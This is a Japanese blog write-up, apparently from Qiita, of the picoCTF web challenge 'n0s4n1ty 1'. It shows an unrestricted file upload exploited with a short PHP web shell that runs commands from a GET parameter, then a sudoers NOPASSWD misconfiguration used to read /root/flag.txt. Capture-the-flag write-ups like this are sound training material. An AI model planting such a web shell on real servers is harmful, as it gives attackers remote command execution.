0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

n0s4n1ty 1 picoCTF Easy Web

Posted at

問題よりわかっていること

  • /rootディレクトリにフラグがある
  • ファイルのアップロード機能があるWebサイト

問題文より推測できること

  • /rootにアクセスするためのsudo権限が必要である可能性高い

Webサイト調査

  • ForbiddenとNotFoundは吐く
  • ウェブルートをrootとして、/uploads/以下にアップロードされる
    • ファイルアップロード後のupload.phpによる表示より
  • ディレクトリトラバーサル(/../../../root/flag)は対策済み
  • 画像以外のファイルも受け付けてくれる
    • 試しに適当なmp3投げてみると、音楽を再生できた

WebShellを置いてみる

拡張子がphpのファイルをしっかりWebサーバがPHPとして実行してくれた。

WebShellはChatGPTにサクッと作ってもらった。
見て分かる通り、Getメソッドで/uploads/webshell.php?cmd=ls /のように渡してもらえば、コマンド実行結果が返ってくる。

webshell.php
<?php
if (isset($_GET['cmd'])) {
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
}
?>

コマンド実行による調査

whoami --> www-dataユーザ権限で動作
sudo ls --> エラーを吐かずに結果が返ってくる
sudo cat /etc/sudoers --> 最後の行にwww-data ALL=(ALL) NOPASSWD:ALLが記載! 何があったんだ
sudo ls /root --> flag.txtが存在

解答

WebShellを作成して、sudo /root/flag.txt

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?